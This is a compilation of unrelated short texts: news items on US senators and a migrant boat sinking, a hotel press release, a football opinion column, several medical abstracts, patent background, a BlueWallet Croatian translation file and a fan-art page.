President Trump announced on Wednesday, via Twitter, that transgender people would be banned from serving in the U.S. military. The decision appeared to surprise officials at the Pentagon, who initially referred press questions to the White House. It also seemed to catch Republican members of the Senate off guard: “I read about it when you reported it,” Sen. John Thune of South Dakota, told the Minneapolis Star-Tribune. As of Tuesday evening, a majority of GOP senators had not commented on the new ban, according to a FiveThirtyEight review of senators’ statements. Most of those who did comment, however, didn’t seem thrilled by Trump’s decision.
FiveThirtyEight found statements from 19 of the 52 Republican senators. Of those, only Sen. David Perdue of Georgia and Sen. James Inhofe of Oklahoma have come out in favor of Trump’s decision. Inhofe argued that there were already “enough problems with social experimentation in the military.” Perdue wasn’t as enthusiastic, but said the president was within his rights in making his decision. Neither senator’s comment was especially surprising: Inhofe has a long history of social conservatism, while Perdue is among the most conservative members of the Senate according to his first dimension DW-Nominate score, which measures members of Congress’s ideology on a left-right spectrum.
Nine Republicans, however, came out against Trump’s decision. Some of these senators are moderates, including Alaska Sen. Lisa Murkowski, who said that, “I was one who said that those who are openly gay should not be denied the opportunity to serve our country and I feel the same way about transgender.” But it wasn’t just moderates. Sen. Joni Ernst of Iowa and Sen. Dan Sullivan of Alaska are in the middle of the Republican caucus ideologically, and they too seem to come out against Trump’s ban.
Another eight Republicans issued statements or made comments that avoided taking a clear position on Trump’s decision. Sen. Rand Paul of Kentucky, who is rated as very conservative by DW-Nominate but is generally considered a libertarian, said he refused to comment on the president’s Twitter feed. The more moderate Sen. Bob Corker of Tennessee felt similarly.
Other senators didn’t explicitly oppose the president’s decision but seemed to be leaning against the ban or at least wanted to hear more information. Moderate Sen. Rob Portman of Ohio and the more conservative Sen. Deb Fischer of Nebraska wanted to consult the Pentagon before any implementation of the transgender ban. Another conservative, Sen. Pat Toomey of Pennsylvania, didn’t say if he agreed with Trump, but put out this statement: “During his entire public career, [Toomey] has supported measures to protect individuals from discrimination based on their sexual orientation or gender identity.”
Over the next couple of days, we’ll see if more senators issue statements. Right now, most of them are concentrating on the Republican health care bill. Senators may also try to figure out where the public stands on the issue. Little public polling has been released on the topic of transgender Americans serving in the military. But if the preliminary positions taken by the senators are any indication, Trump may have misjudged the political environment within the Senate GOP. |
DESCRIPTION: (Provided by the Applicant) Over 5 million people who suffer preventable morbidity and mortality are admitted annually in the U.S.; consuming about 30 percent of acute care costs ($180 billion annually). Previous studies suggest that nearly every ICU patient suffers a potentially life threatening adverse event. To reduce this, we must learn what is broken and fix it. We hypothesize that we can improve patient safety; improve safety culture; and reduce ICU mortality, blood stream infections, aspiration pneumonia and ICU length of stay. To accomplish this, we will partner with the Michigan Hospital Association, whose has over 130 Michigan hospitals, to implement a safety program and other interventions in a cohort of hospitals. The specific aims of this project are to implement and evaluate the: (1) impact of the Comprehensive Unit-based Safety Program that includes the ICU Safety Reporting System; (2) effect of an intervention to improve communication and staffing in ICUs; (3) effect of an intervention to reduce/eliminate catheter related blood stream infections in ICU s; (4) effect of an intervention to improve the care of ventilated IC patients; and (5) effect of an intervention to reduce ICU mortality. To implement these aims, we will develop interventions for MHA who will then interact with Michigan hospitals to implement these interventions. Hospitals must commit a team--including a senior executive (vice-president or above), an ICU director or ICU physician, ICU nurse or nurse manager, and a department administrator--to collecting required data and attending 2 meetings and 2 conference calls/year. All teams will work on specific aim 1 and then choose one of the other specific aims every 6 months. By the end of the two year project, each team will have implemented all 5 specific aims and able to coach each other. Successful completion of this project will lead to significant improvements in patient safety across a state. |
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BW’s Development Growing in Latin America
12/18/2013
Best Western’s Development Pipeline Growing Quickly in Latin America
Expanding economies and major events driving demand for hotels in Colombia and Brazil
PHOENIX (Dec. 18, 2013) – Best Western International has announced plans for rapid expansion in Mexico, Central and South America with 29 hotels in the 2014 to 2015 pipeline. Though growth is strong throughout the region, South America is the hottest area for hotel development thanks to improving economies and Brazil hosting both the 2014 World Cup and 2016 Games in Rio de Janeiro.
Best Western is doing its part to meet the growing hospitality demands in Brazil. The brand currently has 16 hotels operating in the country and is working with a development partner Incortel to add 30 new properties in the next five years. All of these projects will be new construction and fifty percent will be the BEST WESTERN PLUS hotel type. The first of the new Incortel properties, the BEST WESTERN PLUS Pampulha Design Hotel in Belo Horizonte, is set to open in March of 2014 and construction has just begun on an innovative new fashion-themed property that will feature design from leading South American fashion icon Gloria Coelho.
“Brazil is still about 12,000 rooms short to meet the growing demand created by the major upcoming sporting events. You couple that need with an improving economy in Colombia and you have a recipe for rapid hotel growth across the region,” said Best Western’s Vice President of International Operations Suzi Yoder. “We’re seeing a natural fit between the demands of developers and travelers in South America, and the modern, upscale amenities we offer with our BEST WESTERN PLUS and BEST WESTERN PREMIER hotel types.”
Best Western currently has two hotels in operation in Colombia and a third, the BEST WESTERN PLUS Mocawa Hotel, will open in late December. The brand anticipates adding between two and four new construction projects annually through 2019. Hotel demand in the country has been spurred by increased political stability and the growth of the coffee, tourism and oil industries. Gastronomy and foodie travel also is a growing trend in Colombia and throughout all of Latin America.
Other hot spots for the brand’s Latin American development efforts include Chile and Peru. Best Western currently operates five hotels in Chile and is focused on development in the northern portion of the country. In Peru, hotel growth has been fueled by an increase in tourism dollars and a reduction in sales tax. Best Western has responded with the recent opening of the BEST WESTERN PLUS Vista Pacifico, a 115-room resort property located south of Lima on scenic Sarampampa Beach. The brand plans to have four hotels in its Peruvian portfolio by the end of 2014.
Best Western opened its first hotel in South America in Brazil in 1992 and has since grown to operate more than 37 hotels in seven South American countries – Argentina, Brazil, Chile, Colombia, Peru, Uruguay and Venezuela. For more information on global development opportunities with Best Western International, please visit bestwesterndevelopers.com.
ABOUT BEST WESTERN INTERNATIONAL, INC.
Best Western International, Inc., headquartered in Phoenix, Ariz., is a privately held hotel brand made up of more than 4,000* BEST WESTERN®, BEST WESTERN PLUS, BEST WESTERN PREMIER hotels in more than 100* countries and territories worldwide. Now celebrating 67 years of hospitality, Best Western welcomes hundreds of thousands of guests nightly. Best Western provides its hoteliers with global operational, sales, marketing and promotional support, and online and mobile booking capabilities. More than 20 million travelers are members of the brand’s award-winning loyalty program Best Western Rewards®, one of the few programs in which members earn points that never expire and can be redeemed at any Best Western hotel worldwide. The brand’s partnerships with AAA/CAA, race car driver Michael Waltrip, and Harley-Davidson® provide travelers with exciting ways to interact with the brand. In 2012, Best Western won a record number of awards, including AAA’s Hotel Partner of the Year, CAA’s Partner of the Year, TravelClick’s eMarketer of the Year and Compuware’s Best of the Web Gold awards. |
Don't believe the hype over lauded Laudrup
The Dane's departure from Swansea City has seen criticism levelled at the club's board but the manager's past suggests a split could be best for the Liberty Stadium side
COMMENTBy Paul Macdonald
Michael Laudrup is a handsome man. He talks articulately. He wants to play football 'the right way'. He has also failed to reach the end of the second season at his previous four clubs, forcefully or voluntarily.
It is curious, the goodwill that a person can generate from their demeanour and how they are revered. With a glittering playing career for Barcelona, Real Madrid and Denmark behind him, for the past few years he has been the identikit of the modern, progressive coach; fresh, worldly-wise, exquisitely coiffured and itching to impose his philosophy upon the masses.
And given his genius as a player, there is a general willingness to accept this reality; there seems to be an urging for the Dane to be thrown in the air after winning the Champions League, even though his career in the dugout has only briefly hinted that this might ever be possible. But still, he's Michael Laudrup. That's worth something, isn't it?
LAUDRUP PROFILE
MANAGERIAL RECORD AT SWANSEA
JOINEDGAMESWONDRAWNLOSTWIN PERCENTAGE
JUNE 20128429243134.5%
After Swansea defeated a vulnerable Manchester United at Old Trafford in the FA Cup in early January, his name was thrown by some into the conversation for the non-vacant managerial post in the opposite dugout. It was reactionism at its finest and, if any of the clubs that remain associated with the Dane wish to look beyond the façade and into his managerial past, they would find far murkier waters, should they wish to accept them.
Brondby, Getafe, Spartak Moscow, Mallorca and now Swansea - his compendium of exits are characterised by mitigating circumstances that he or his associates have helped to manufacture. Unquestionably successful at Brondby, he chose to leave the club in 2006, refusing a one-year deal supposedly on the grounds that he had taken the club as far as possible. Upon his appointment at Getafe in 2007, president Angel Torres stood by him in the face of staunch criticism as the team took two months and nine league matches to record their first win. As performances improved, Laudrup was reported to have demanded funds to improve the squad and, upon refusal, chose to depart rather than build upon what he had started.
His subsequent spell at Spartak Moscow was an unmitigated disaster. He lasted just seven months in charge and was unceremoniously dismissed via a succinct telephone call days after a comprehensive 3-0 cup defeat to bitter rivals Dynamo Moscow. Thirteen months out of the game ultimately led him to cash-strapped Mallorca and an altercation with board member Lorenzo Serra Ferrer. "Mallorca will be whatever Serra Ferrer wants it to be," he said on the way out of his fourth club in five years.
In every case, there is seemingly someone doing Laudrup's bidding on his behalf. His agent, Bayram Tutumlu, openly criticised members of the Getafe squad after a league defeat, only for Laudrup to casually claim that "everyone was entitled to their opinion". At Mallorca, his assistant coach, Erik Larsen, was relieved of his duties after claiming that director Serra Ferrer was "unfit to lead the club", comments which derived from supposed frustration over transfer policy during the close season.
After leaving Spartak Moscow it took his brother, Brian, to absolve him of responsibility for the calamitous run of form, stating: "Spartak Moscow are a club with big expectations and Michael was hired with the intention of getting more money but, due to the financial crisis, he couldn't buy any new players."
And finally, at Swansea, Tutumlu emerged once again, requesting - you've guessed it - transfer funds for the manager. Tutumlu was eventually expelled from involvement in the club's activities and Laudrup himself was on the verge of departing as a result of perceived lack of ambition. He eventually remained to squander £20 million on making a team significantly worse. The desire to spend, in this case with questionable merit, portrays him as less of a tactical liberator and more of an narcissistic opportunist, wriggling out of difficult situations by manufacturing bones of contention.
Accusations of an aloof attitude have followed him from post to post. Laudrup's laissez-faire approach and the words of his delegates suggest that he feels that he is above Getafe, above Mallorca, above Swansea, willing to play ball until the situation turns against him. Yet his coaching career signifies someone yet to enjoy any sustained success in any league outside of his homeland. If Tony Pulis played nice football but had this CV, he would be an afterthought for the jobs that have supposedly circled him.
Casual fans are quick to denounce the managerial merry-go-round of the Premier League as it claims another victim, however this is not an example of an untenable situation - his catalogue of acrimonious departures prove the precedent here. Furthermore, Swansea do not subscribe to the trigger-happy mentality; they had not sacked a manager in over 10 years. The facts, leaving aside his win ratio of just 22 per cent since the 2013 Capital One Cup final win, conclude that the Dane is difficult and has yet to see a project to any kind of logical conclusion.
Laudrup will probably remain the well-groomed, eloquent former great with which teams want to be associated but, given the evidence, that reputation deserves a careful reassessment. |
Victoria’s Secret flagship to open in London
Columbus, Ohio Limited Brands said Tuesday it will open a 16,500-sq.-ft. Victoria's Secret flagship store in London in 2012.
The new store will be located on the corner of New Bond Street and Brook Street, in London’s premier retail destination for luxury and fashion brands.
The retailer said it will provide additional information about the new flagship at its second-quarter earnings call on Aug. 19.
Last week, Limited Brands announced it had sold off the remaining holdings in its namesake Limited stores and now operates under the banners Victoria's Secret, Pink, Bath & Body Works, La Senza, C.O. Bigelow, White Barn Candle Co. and Henri Bendel. |
Reproductive physician-scientists for the twenty-first century.
As we enter a new century, departments of obstetrics and gynecology in American medical schools face a number of challenges. A primary concern is the relative dearth of physician-scientists to explore basic mechanisms of cell function and relate these to the diseases of women. The question arises, what can we do to revitalize the spirit of investigation in many of our academic departments? This report reviews three programs designed to develop academic investigators: the Reproductive Scientist Development Program, the American Gynecological and Obstetrical Society/American Association of Obstetricians and Gynecologists Foundation Fellowship Program, and the Women's Reproductive Health Research Career Development Centers. On the basis of a decade of experience with the first two of these programs, the prospects for the third are promising. Clearly, the opportunities for obstetrician-gynecologist basic and clinical scientists are considerable. The question remains: Will leaders in the specialty work together to meet the challenge? |
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# source is /tulsa/src/apache_1.3.26/uw/conf/robots.txt
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Disallow: /anesth/employment/faculty/cv/
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In numerous medical applications it becomes necessary to connect one section of tubing to another. In such situations it is important that the connection be secure so that it will not pull apart and that there be no leakage of fluid at the site of the connection. This is especially critical in applications where the tubing sections are implanted in the human body.
U.S. Pat. No. 5,405,339, which is incorporated herein by reference, teaches connector for connecting sections of medical tubing and a method for using the connector. The connector has an enlarged middle portion between first and second end portions. The end portions have a smaller diameter than the enlarged middle portion and are adapted to be inserted into the ends of the medical tubing sections. The connector can be grasped at the enlarged middle portion, thus simplifying the process of inserting the end portions into the tubing sections. Additionally, the opposing edges of the enlarged middle portion act as tubing stop surfaces that provide a positive indication that the connector is properly aligned.
While the invention described in U.S. Pat. No. 5,405,339 has solved numerous difficulties in the manufacture and use of the prior art medical devices, there is still certain areas for further improvement. For example, FIG. 3 of U.S. Pat. No. 5,405,339 teaches an addition of a circumferential suture groove in the surface of the enlarged middle portion that can only be used as a place at which the catheter may be anchored by suturing it to surrounding tissue if the connector is used without a strain relief. Col. 5, lines 37–43.
It would be desirable to provide a connector that provides a place at which the catheter may be anchored by suturing it to surrounding tissue, while at the same time providing a strain relief. It would also be desirable to provide a connector that provides stronger connections with greater useful life, and which is simple to use. |
{
"_": {
"bad_password": "Kriva lozinka, pokušaj ponovo",
"cancel": "Otkaži",
"continue": "Nastavi",
"enter_password": "Unesi lozinku",
"never": "nikad",
"ok": "U redu",
"storage_is_encrypted": "Vaš spremnik je kriptiran. Za dekripcoju je potrebna lozinka."
},
"lnd": {
"expired": "Isteklo",
"refill": "Dopuni",
"refill_lnd_balance": "Dopuni Lightning volet saldo",
"sameWalletAsInvoiceError": "Buraz! Ne možeš platiti račun s istim voletom s kojim si račun stvorio, ono.",
"title": "Uredi novčeke"
},
"plausibledeniability": {
"create_fake_storage": "Stvori fejk enkriptirani spremnik",
"create_password": "Unesi lozinku",
"create_password_explanation": "Lozinka za fejk spremnik treba biti drugačija od lozinke za oriđi spremnik",
"help": "Pazi. Netko gadan te može u iznimnim okolnostima (pljačka, prijevremeni izbori, itd.) brutalno pritisnuti da mu otkriješ lozinku za svoj volet. BlueWallet ti čuva leđa buraz. Nemaš brige. Gledaj, stvoriti ćemo fejk volet sa drugačijom lozinkom. Haha, žišku? Pa kad se ovaj počne pjeniti, a ti vidiš da je vrag odnio šalu, samo mu podvali lozinku za ovaj drugi volet. Eto mu ga. Nek si cucla. ",
"help2": "Novi spremnik će biti posve funkcionalan, možeš pohraniti koliko misliš da je potrebno da izgleda uvjerljivo.",
"password_should_not_match": "Lozinka za fejk spremnik treba biti drugačija od lozinke za oriđi spremnik",
"passwords_do_not_match": "Lozinke ne pašu, pokušaj ponovo",
"retype_password": "Ponovi lozinku",
"success": "Uspjeh",
"title": "Fejk volet"
},
"receive": {
"details_create": "Stvori",
"details_label": "Opis",
"details_setAmount": "Odredi iznos za primiti",
"details_share": "podijeli",
"header": "Primi"
},
"send": {
"confirm_header": "Potvrdi",
"confirm_sendNow": "Pošalji sad",
"create_amount": "Iznos",
"create_broadcast": "Objavi",
"create_details": "Detalji",
"create_fee": "Trošak slanja",
"create_memo": "Bilješka",
"create_satoshi_per_byte": "Satoshi / byte",
"create_this_is_hex": "Ovoj je hex transakcije, potpisan i spreman za objavljivanje na mrežu.",
"create_to": "Za",
"create_tx_size": "TX veličina",
"details_address": "adresa",
"details_address_field_is_not_valid": "Polje adrese nije ispravno",
"details_amount_field_is_not_valid": "Iznos nije ispravan",
"details_create": "Stvori",
"details_fee_field_is_not_valid": "Ovo polje nije ispravno",
"details_note_placeholder": "bilješka za evidenciju",
"details_scan": "Skeniraj",
"details_total_exceeds_balance": "Iznos je veći od raspoloživog.",
"header": "Šalji",
"success_done": "U redu"
},
"settings": {
"about": "Informacije",
"currency": "Valuta",
"general_adv_mode": "Enable advanced mode",
"header": "Postavke",
"language": "Jezik",
"lightning_settings": "Lightning postavke",
"lightning_settings_explain": "Za spajanje na tvoj vlastiti LND čvor trebaš instalirati LndHub i upisati njegov URL ovdje. Ostavi prazno za standardni ndHub\n (lndhub.io)",
"password": "Lozinka",
"password_explain": "Upiši lozinku koja će dekriptirati spremnik.",
"passwords_do_not_match": "Lozinke su različite",
"plausible_deniability": "Fejk volet...",
"retype_password": "Ponovi lozinku",
"save": "Spremi"
},
"transactions": {
"details_copy": "Kopiraj",
"details_from": "Od",
"details_show_in_block_explorer": "Prikaži u blok eksploreru",
"details_title": "Transakcija",
"details_to": "Za",
"details_transaction_details": "Detalji transakcije",
"list_conf": "konf.",
"list_title": "transakcije"
},
"wallets": {
"add_create": "Stvori",
"add_import_wallet": "Unesi vanjski volet",
"add_or": "ili",
"add_title": "Dodaj volet",
"add_wallet_name": "ime voleta:",
"add_wallet_type": "tip:",
"details_address": "Adresa",
"details_are_you_sure": "Jesi li ziher?",
"details_delete": "Obriši",
"details_export_backup": "Izvoz / bekap",
"details_no_cancel": "Ne, otiaži",
"details_save": "Spremi",
"details_show_xpub": "Prikaži voletov XPUB",
"details_title": "Volet",
"details_type": "Tip",
"details_yes_delete": "Da, briši",
"export_title": "izvoz voleta",
"import_do_import": "Unesi",
"import_error": "Neuspješan unos. Molimo pažljivo provjerite ispravnost unesenih podataka.",
"import_explanation": "Ovdje upiši svoj mnemonik slijed riječi, privatni ključ, WIF, ili što već imaš. BlueWallet će pokušati porocijeniti format i unesti tvoj volet.",
"import_imported": "Uneseno",
"import_scan_qr": "ili skeniraj QR kod?",
"import_success": "Uspjeh",
"import_title": "unesi",
"list_create_a_button": "dodaj sada",
"list_create_a_wallet": "Stvori novi volet",
"list_create_a_wallet1": "Ne košta ništa i možete",
"list_create_a_wallet2": "ih stvoriti moliko želite",
"list_empty_txs1": "Vaše transakcije će se pojaviti ovdje",
"list_empty_txs2": "trenutno nema nijedne",
"list_latest_transaction": "posljednja transakcija",
"list_tap_here_to_buy": "Klikni ovdje za kupnju Bitkoina",
"list_title": "Voleti",
"reorder_title": "Uredi volete",
"select_wallet": "Odaberi volet",
"xpub_copiedToClipboard": "Kopirano u međuspremnik.",
"xpub_title": "volet XPUB"
}
}
|
Antipyrine metabolism in African villagers.
Antipyrine clearance has been measured from serial serum samples in 49 healthy black Africans from a village in Southern Africa. The subjects follow a lifestyle which minimally exposes them to environmental inducing or inhibiting agents. Food is mainly maize cereal with a protein content of only about 8.8%, together with greens. Antipyrine clearance, half-life and apparent volume of distribution (mean +/- SD) were, respectively, 0.538 +/- 0.163 ml min-1, kg-1, 14.81 +/- 6.5 h and 0.626 +/- 0.075 litre/kg. These results do not differ significantly from the mean values found in a group of lactovegetarian Indo-Pakistani immigrants to Britain. This would suggest that the major environmental determinant influencing hepatic mixed-function oxidase activity is the presence or absence of meat in the diet. However, the relative contributions of environment and heredity will be difficult to determine. |
Migrants’ boat sinks off Italy; 56 rescued, many missing
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ROME — Rescue teams were searching the waters off a southern Italian islet on Friday for survivors of a boat loaded with migrants that apparently ran into difficulties and sank a day earlier while crossing from Africa.
Italian and NATO vessels rescued 56 people, including a pregnant woman, and recovered one body, but passengers on the craft said dozens of people were missing.
Survivors have given varying versions of the passenger count, so ‘‘it’s unclear how many were on the boat,’’ said Commander Filippo Marini, a spokesman for the Italian coast guard.
Initial reports suggested that the migrants were from Tunisia, he said, but their nationalities would only be confirmed after primary assistance had been issued.
Several Italian and NATO ships and aircraft were involved in the rescue operations, Marini said. A plane used for marine surveillance by Frontex, the EU border security agency, was also searching the waters.
A passenger on the boat used a cellphone to issue a distress call early Thursday evening, the spokesman said, and rescue ships were immediately mobilized. |
Quetiapine is in clinical development by Zeneca Pharmaceuticals, for the treatment of subjects with schizophrenia and other psychotic disorders. The primary objective of this trial is to compare safety and tolerability of quetiapine to risperidone in a broad outpatient population of individuals with schizophrenia and other psychotic disorders. This secondary objective is to compare quality-of-life between patients treated with quetiapine and risperidone. Subjects will be randomzied and start therapy with open-label quetiapine or risperidone. Randomization will occur in a 3:1 ratio (quetiapine : risperidone). Cross-tapering of prior antipsychotics will take place over the first 2 weeks, not to exceed 1 month as per clinical judgment. The ultimate goal is monotherapy. The assistance of the GCRC is requested to assist with blood draws at screening. |
Ikaruga By SonicHeroXD Watch
85 Favourites 3 Comments 799 Views
Decided to do some more fan art of Senran Kagura. Here is some fan art of Ikaruga, who is really fun to play as in the game I have, which is Deep Crimson for the 3DS.
I hope you guys enjoy!
IMAGE DETAILS Image size 2295x3131px 1.66 MB Show More
Published : May 6, 2017 | Mature |
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